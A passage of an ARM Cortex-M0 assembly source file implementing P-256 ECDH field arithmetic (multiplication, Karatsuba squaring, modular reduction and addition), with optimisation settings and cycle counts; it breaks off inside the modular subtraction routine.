; P-256 ECDH ; Author: Emil Lenngren ; Licensed under the BSD 2-clause license. ; The 256x256->512 multiplication/square code is based on public domain NaCl by Ana Helena Snchez and Bjrn Haase (https://munacl.cryptojedi.org/curve25519-cortexm0.shtml) ; Note on calling conventions: some of the local functions in this file use custom calling conventions. ; Exported symbols use the standard C calling conventions for ARM, which means that r4-r11 and sp are preserved and the other registers are clobbered. ; Stack usage is 1356 bytes. ; Settings below for optimizing for speed vs size. ; When optimizing fully for speed, the run time is 4 456 738 cycles and code size is 3708 bytes. ; When optimizing fully for size, the run time is 5 764 182 cycles and code size is 2416 bytes. ; Get the time taken (in seconds) by dividing the number of cycles with the clock frequency (Hz) of the cpu. ; Different optimization levels can be done by setting some to 1 and some to 0. ; Optimizing all settings for size except use_mul_for_sqr and use_smaller_modinv gives a run time of 4 851 527 cycles and code size is 2968 bytes. gbla use_mul_for_sqr use_mul_for_sqr seta 0 ; 1 to enable, 0 to disable (14% slower if enabled but saves 624/460 bytes (depending on use_noninlined_sqr64) of compiled code size) gbla use_noninlined_mul64 use_noninlined_mul64 seta 1 ; 1 to enable, 0 to disable (2.6%/4.0% slower (depending on use_mul_for_sqr) if enabled but saves 308 bytes of compiled code size) gbla use_noninlined_sqr64 use_noninlined_sqr64 seta 1 ; 1 to enable, 0 to disable (2.4% slower if enabled and use_mul_for_sqr=0 but saves 164 bytes of compiled code size) gbla use_interpreter use_interpreter seta 1 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 268 bytes of compiled code size) gbla use_smaller_modinv use_smaller_modinv seta 0 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 88 bytes of compiled code size) area |.text|,code,readonly align 2 if use_noninlined_mul64 == 1 ; in: (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r0-r3 ; clobbers r4-r9 and lr P256_mul64 proc mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 bx lr endp endif ; in: *r10 = a, *r11 = b, (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r8,r9,r2-r7 ; clobbers all other registers P256_mul128 proc if use_noninlined_mul64 == 1 push {lr} frame push {lr} endif ;///////MUL128///////////// ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif push {r0,r1} frame address sp,8+use_noninlined_mul64*4 mov r1,r10 mov r10,r2 ldm r1,{r0,r1,r4,r5} mov r2,r4 mov r7,r5 subs r2,r0 sbcs r7,r1 sbcs r6,r6 eors r2,r6 eors r7,r6 subs r2,r6 sbcs r7,r6 push {r2,r7} frame address sp,16+use_noninlined_mul64*4 mov r2,r11 mov r11,r3 ldm r2,{r0,r1,r2,r3} subs r0,r2 sbcs r1,r3 sbcs r7,r7 eors r0,r7 eors r1,r7 subs r0,r7 sbcs r1,r7 eors r7,r6 mov r12,r7 push {r0,r1} frame address sp,24+use_noninlined_mul64*4 ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif mov r4,r10 mov r5,r11 eors r6,r6 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r6 mov r10,r2 mov r11,r3 pop {r2-r5} frame address sp,8+use_noninlined_mul64*4 push {r0,r1} frame address sp,16+use_noninlined_mul64*4 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif pop {r4,r5} frame address sp,8+use_noninlined_mul64*4 mov r6,r12 mov r7,r12 eors r0,r6 eors r1,r6 eors r2,r6 eors r3,r6 asrs r6,r6,#1 adcs r0,r4 adcs r1,r5 adcs r4,r2 adcs r5,r3 eors r2,r2 adcs r6,r2 ;//0,1 adcs r7,r2 pop {r2,r3} frame address sp,0+use_noninlined_mul64*4 mov r8,r2 mov r9,r3 adds r2,r0 adcs r3,r1 mov r0,r10 mov r1,r11 adcs r4,r0 adcs r5,r1 adcs r6,r0 adcs r7,r1 if use_noninlined_mul64 == 1 pop {pc} else bx lr endif endp if use_mul_for_sqr == 1 ;thumb_func P256_sqrmod ;label definition mov r2,r1 ; fallthrough endif ; *r0 = out, *r1 = a, *r2 = b P256_mulmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 push {r1-r2} frame address sp,80 mov r10,r2 mov r11,r1 mov r0,r2 ldm r0!,{r4,r5} adds r0,#8 ldm r1!,{r2,r3} adds r1,#8 push {r0,r1} frame address sp,88 bl P256_mul128 add r0,sp,#24 stm r0!,{r2,r3} add r0,sp,#16 mov r2,r8 mov r3,r9 stm r0!,{r2,r3} ;pop {r0} ;result+8 ;stm r0!,{r2,r3} pop {r1,r2} ;a+16 b+16 frame address sp,80 ;push {r0} push {r4-r7} frame address sp,96 mov r10,r1 mov r11,r2 ldm r1!,{r4,r5} ldm r2,{r2,r3} bl P256_mul128 mov r0,r8 mov r1,r9 mov r8,r6 mov r9,r7 pop {r6,r7} frame address sp,88 adds r0,r6 adcs r1,r7 pop {r6,r7} frame address sp,80 adcs r2,r6 adcs r3,r7 ;pop {r7} ;result+16 add r7,sp,#24 stm r7!,{r0-r3} mov r10,r7 eors r0,r0 mov r6,r8 mov r7,r9 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 pop {r1,r2} ;b a frame address sp,72 mov r12,r2 push {r4-r7} frame address sp,88 ldm r1,{r0-r7} subs r0,r4 sbcs r1,r5 sbcs r2,r6 sbcs r3,r7 eors r4,r4 sbcs r4,r4 eors r0,r4 eors r1,r4 eors r2,r4 eors r3,r4 subs r0,r4 sbcs r1,r4 sbcs r2,r4 sbcs r3,r4 mov r6,r12 mov r12,r4 ;//carry mov r5,r10 stm r5!,{r0-r3} mov r11,r5 mov r8,r0 mov r9,r1 ldm r6,{r0-r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 eors r0,r0 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 mov r1,r12 eors r0,r1 mov r1,r11 stm r1!,{r4-r7} push {r0} frame address sp,92 mov r2,r8 mov r3,r9 bl P256_mul128 pop {r0} ;//r0,r1 frame address sp,88 mov r12,r0 ;//negative eors r2,r0 eors r3,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 push {r4-r7} frame address sp,104 add r1,sp,#32 ;result ldm r1!,{r4-r7} ;mov r11,r1 ;//reference mov r1,r9 eors r1,r0 mov r10,r4 mov r4,r8 asrs r0,#1 eors r0,r4 mov r4,r10 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 eors r4,r4 adcs r4,r4 mov r10,r4 ;//carry ;mov r4,r11 add r4,sp,#32+16 ldm r4,{r4-r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r9,r4 ;mov r4,r11 add r4,sp,#32+16 stm r4!,{r0-r3} ;mov r11,r4 pop {r0-r3} frame address sp,88 mov r4,r9 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 movs r1,#0 adcs r1,r1 mov r0,r10 mov r10,r1 ;//carry asrs r0,#1 pop {r0-r3} frame address sp,72 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 mov r8,r0 ;mov r0,r11 add r0,sp,#32 stm r0!,{r4-r7} ;mov r11,r0 mov r0,r8 mov r6,r12 mov r5,r10 eors r4,r4 adcs r5,r6 adcs r6,r4 adds r0,r5 adcs r1,r6 adcs r2,r6 adcs r3,r6 ;mov r7,r11 add r7,sp,#32+16 stm r7!,{r0-r3} ; multiplication done, now reducing reduce ;label definition pop {r0-r7} frame address sp,40 adds r3,r0 adcs r4,r1 adcs r5,r2 adcs r6,r0 mov r8,r2 mov r9,r3 mov r10,r4 mov r11,r5 mov r12,r6 adcs r7,r1 pop {r2-r5} ;8,9,10,11 frame address sp,24 adcs r2,r0 ;8+0 adcs r3,r1 ;9+1 movs r6,#0 adcs r4,r6 ;10+#0 adcs r5,r6 ;11+#0 adcs r6,r6 ;C subs r7,r0 ;7-0 sbcs r2,r1 ;8-1 ; r0,r1 dead mov r0,r8 ;2 mov r1,r9 ;3 sbcs r3,r0 ;9-2 sbcs r4,r1 ;10-3 movs r0,#0 sbcs r5,r0 ;11-#0 sbcs r6,r0 ;C-#0 mov r0,r12 ;6 adds r0,r1 ;6+3 mov r12,r0 mov r0,r10 ;4 adcs r7,r0 ;7+4 mov lr,r7 mov r0,r8 ;2 adcs r2,r0 ;8+2 adcs r3,r1 ;9+3 adcs r4,r0 ;10+2 adcs r5,r1 ;11+3 movs r7,#0 adcs r6,r7 ;C+#0 ;2-3 are now dead (r8,r9) ;4 5 6 7 8 9 10 11 C ;r10 r11 r12 lr r2 r3 r4 r5 r6 ;r7: 0 pop {r0,r1} ;12,13 frame address sp,16 adds r6,r0 ;12+C adcs r1,r7 ;13+#0 adcs r7,r7 ;new Carry for 14 ;r0 dead mov r0,r11 ;5 adds r2,r0 ;8+5 mov r8,r2 mov r2,r12 ;6 adcs r3,r2 ;9+6 mov r9,r3 mov r3,r10 ;4 adcs r4,r3 ;10+4 mov r10,r4 adcs r5,r0 ;11+5 adcs r6,r3 ;12+4 adcs r1,r0 ;13+5 pop {r2,r4} ;14,15 frame address sp,8 adcs r2,r7 ;14+C movs r7,#0 adcs r4,r7 ;15+#0 adcs r7,r7 ;new Carry for 16 ;4 5 6 7 8 9 10 11 12 13 14 15 C ;r3 r0 r12 lr r8 r9 r10 r5 r6 r1 r2 r4 r7 ;r11 is available subs r5,r3 ;11-4 sbcs r6,r0 ;12-5 mov r3,r12 ;6 mov r0,lr ;7 sbcs r1,r3 ;13-6 sbcs r2,r0 ;14-7 movs r3,#0 sbcs r4,r3 ;15-#0 sbcs r7,r3 ;C-#0 mov lr,r4 mov r11,r7 mov r4,r10 ;10 adds r4,r0 ;10+7 adcs r5,r3 ;11+#0 mov r7,r12 ;6 adcs r6,r7 ;12+6 adcs r1,r0 ;13+7 adcs r2,r7 ;14+6 mov r7,lr ;15 adcs r7,r0 ;15+7 mov r0,r11 ;C adcs r0,r3 ;C+#0 ; now (T + mN) / R is ; 8 9 4 5 6 1 2 7 6 (lsb -> msb) subs r3,r3 ;set r3 to 0 and C to 1 mov r10,r0 mov r0,r8 adcs r0,r3 mov r11,r7 mov r7,r9 adcs r7,r3 mov r12,r0 mov r9,r7 adcs r4,r3 sbcs r5,r3 sbcs r6,r3 sbcs r1,r3 movs r3,#1 sbcs r2,r3 movs r3,#0 mov r0,r11 mov r7,r10 adcs r0,r3 sbcs r7,r3 ; r12 r9 r4 r5 | r6 r1 r2 r0 mov r8,r2 mov r2,r12 mov r11,r0 mov r3,r9 reduce2 ;label definition adds r2,r7 adcs r3,r7 adcs r4,r7 movs r0,#0 adcs r5,r0 adcs r6,r0 adcs r1,r0 pop {r0} frame address sp,4 stm r0!,{r2-r6} movs r5,#1 ands r5,r7 mov r2,r8 mov r3,r11 adcs r2,r5 adcs r3,r7 stm r0!,{r1-r3} pop {pc} endp if use_mul_for_sqr == 0 if use_noninlined_sqr64 == 1 P256_sqr64 proc ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. bx lr endp P256_sqr128 proc push {lr} frame push {lr} ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 bl P256_sqr64 mov r4,r10 mov r5,r7 mov r10,r0 mov r11,r1 mov r12,r2 mov r7,r3 bl P256_sqr64 mov r4,r12 adds r0,r4 adcs r1,r7 adcs r2,r6 adcs r3,r6 mov r7,r3 mov r12,r0 mov r4,r8 mov r8,r1 mov r5,r9 mov r9,r2 bl P256_sqr64 mov r4,r12 mov r5,r8 mov r6,r9 subs r4,r0 sbcs r5,r1 mov r0,r6 mov r1,r7 sbcs r0,r2 sbcs r1,r3 movs r2,#0 sbcs r6,r2 sbcs r7,r2 mov r2,r10 adds r2,r4 mov r3,r11 adcs r3,r5 mov r4,r12 adcs r4,r0 mov r5,r8 adcs r5,r1 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 mov r1,r11 ; END: sqr 128 Refined Karatsuba pop {pc} endp else P256_sqr128 proc ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. mov r6,r10 mov r10,r0 mov r11,r1 mov r12,r2 mov r1,r3 ; START: sqr 64 Refined Karatsuba ; Input operands in r6,r7 ; Result in r2,r3,r4,r5 ; Clobbers: r0,r7,r6 ; START: sqr 32 ; Input operand in r6 ; Result in r2 ,r3 ; Clobbers: r4, r5 uxth r2,r6 lsrs r3,r6,#16 mov r4,r2 muls r4,r3,r4 muls r2,r2,r2 muls r3,r3,r3 lsrs r5,r4,#15 lsls r4,r4,#17 adds r2,r4 adcs r3,r5 ; End: sqr 32 ; Result in r2 ,r3 subs r6,r7 sbcs r4,r4 eors r6,r4 subs r6,r4 ; START: sqr 32 ; Input operand in r7 ; Result in r4 ,r5 ; Clobbers: r0, r7 uxth r4,r7 lsrs r5,r7,#16 mov r0,r4 muls r0,r5,r0 muls r4,r4,r4 muls r5,r5,r5 lsrs r7,r0,#15 lsls r0,r0,#17 adds r4,r0 adcs r5,r7 ; End: sqr 32 ; Result in r4 ,r5 movs r7,#0 adds r4,r3 adcs r5,r7 ; START: sqr 32 ; Input operand in r6 ; Result in r7 ,r0 ; Clobbers: r6, r3 uxth r7,r6 lsrs r0,r6,#16 mov r6,r7 muls r6,r0,r6 muls r7,r7,r7 muls r0,r0,r0 lsrs r3,r6,#15 lsls r6,r6,#17 adds r7,r6 adcs r0,r3 ; End: sqr 32 ; Result in r7 ,r0 mov r3,r4 subs r3,r7 sbcs r4,r0 mov r0,r5 movs r6,#0 sbcs r5,r6 adds r3,r2 adcs r4,r0 adcs r5,r6 ; END: sqr 64 Refined Karatsuba ; Result in r2,r3,r4,r5 ; Leaves r6 zero. mov r0,r12 adds r2,r0 adcs r3,r1 adcs r4,r6 adcs r5,r6 mov r12,r2 mov r2,r8 mov r8,r3 mov r3,r9 mov r9,r4 ; START: sqr 64 Refined Karatsuba ; Input operands in r2,r3 ; Result in r6,r7,r0,r1 ; Clobbers: r2,r3,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r6 ,r7 ; Clobbers: r0, r1 uxth r6,r2 lsrs r7,r2,#16 mov r0,r6 muls r0,r7,r0 muls r6,r6,r6 muls r7,r7,r7 lsrs r1,r0,#15 lsls r0,r0,#17 adds r6,r0 adcs r7,r1 ; End: sqr 32 ; Result in r6 ,r7 subs r2,r3 sbcs r4,r4 eors r2,r4 subs r2,r4 ; START: sqr 32 ; Input operand in r3 ; Result in r0 ,r1 ; Clobbers: r3, r4 uxth r0,r3 lsrs r1,r3,#16 mov r3,r0 muls r3,r1,r3 muls r0,r0,r0 muls r1,r1,r1 lsrs r4,r3,#15 lsls r3,r3,#17 adds r0,r3 adcs r1,r4 ; End: sqr 32 ; Result in r0 ,r1 movs r4,#0 adds r0,r7 adcs r1,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r3 ,r4 ; Clobbers: r2, r7 uxth r3,r2 lsrs r4,r2,#16 mov r2,r3 muls r2,r4,r2 muls r3,r3,r3 muls r4,r4,r4 lsrs r7,r2,#15 lsls r2,r2,#17 adds r3,r2 adcs r4,r7 ; End: sqr 32 ; Result in r3 ,r4 mov r7,r0 subs r7,r3 sbcs r0,r4 mov r2,r1 movs r4,#0 sbcs r1,r4 adds r7,r6 adcs r0,r2 adcs r1,r4 ; END: sqr 64 Refined Karatsuba ; Result in r6,r7,r0,r1 ; Returns r4 as zero. mov r2,r12 mov r3,r8 mov r4,r9 subs r2,r6 sbcs r3,r7 mov r6,r4 mov r7,r5 sbcs r4,r0 sbcs r5,r1 movs r0,#0 sbcs r6,r0 sbcs r7,r0 mov r0,r10 adds r2,r0 mov r1,r11 adcs r3,r1 mov r0,r12 adcs r4,r0 mov r0,r8 adcs r5,r0 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 ; END: sqr 128 Refined Karatsuba ; Result in r0 ... r7 bx lr endp endif ; ###################### ; ASM Square 256 refined karatsuba: ; ###################### ; sqr 256 Refined Karatsuba ; pInput in r1 ; pResult in r0 P256_sqrmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 ;mov lr,sp push {r1} frame address sp,76 ldm r1!,{r4,r5,r6,r7} bl P256_sqr128 push {r4,r5,r6,r7} frame address sp,92 ;mov r4,lr add r4,sp,#20 stm r4!,{r0,r1,r2,r3} ldr r4,[sp,#16] adds r4,#16 ldm r4,{r4,r5,r6,r7} bl P256_sqr128 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4,r5,r6,r7} frame address sp,76 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 mov r8,r0 movs r0,#0 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 mov r0,r8 push {r0,r1,r2,r3,r4,r5,r6,r7} frame address sp,108 ldr r4,[sp,#32] ldm r4,{r0,r1,r2,r3,r4,r5,r6,r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 bl P256_sqr128 mvns r0,r0 mvns r1,r1 mvns r2,r2 mvns r3,r3 mvns r4,r4 mvns r5,r5 mvns r6,r6 mvns r7,r7 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 subs r4,r4 pop {r4,r5,r6,r7} frame address sp,92 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r12,r4 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} mov r4,r12 mov r0,r8 adcs r0,r4 mov r8,r0 mov r1,r9 adcs r1,r5 mov r9,r1 mov r2,r10 adcs r2,r6 mov r10,r2 mov r3,r11 adcs r3,r7 mov r11,r3 movs r0,#0 adcs r0,r0 mov r12,r0 ;mov r0,lr add r0,sp,#20 ldm r0,{r0,r1,r2,r3,r4,r5,r6,r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} ;mov lr,r4 mov r0,r13 ldm r0!,{r4,r5,r6,r7} mov r1,r8 adcs r4,r1 mov r1,r9 adcs r5,r1 mov r1,r10 adcs r6,r1 mov r1,r11 adcs r7,r1 ;mov r0,lr add r0,sp,#20+32 stm r0!,{r4,r5,r6,r7} pop {r4,r5,r6,r7} frame address sp,76 mov r1,r12 movs r2,#0 mvns r2,r2 adcs r1,r2 asrs r2,r1,#4 adds r4,r1 adcs r5,r2 adcs r6,r2 adcs r7,r2 stm r0!,{r4,r5,r6,r7} add sp,#4 frame address sp,72 b reduce endp endif ; *r0 = output, *r1 = a, *r2 = b P256_addmod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} adds r0,r5 adcs r3,r6 adcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} adcs r5,r3 adcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} adcs r1,r0 adcs r3,r2 adcs r4,r7 movs r7,#0 adcs r7,r7 subs r0,r0 ;set r0 to 0 and C to 1 mov r2,r8 mov r8,r7 mov r7,r9 mov r9,r4 mov r4,r10 adcs r2,r0 mov r10,r2 adcs r7,r0 mov r11,r7 adcs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r1,r0 movs r0,#1 sbcs r3,r0 movs r0,#0 mov r2,r9 adcs r2,r0 mov r7,r8 sbcs r7,r0 ; r10 r11 r4 r5 | r6 r1 r3 r2 | r7 mov r8,r3 mov r3,r11 mov r11,r2 mov r2,r10 ; r2 r3 r4 r5 | r6 r1 r8 r11 | r7 b reduce2 endp ; *r0 = output, *r1 = a, *r2 = b P256_submod proc push {r0,lr} frame push {lr} frame address sp,8 ldm 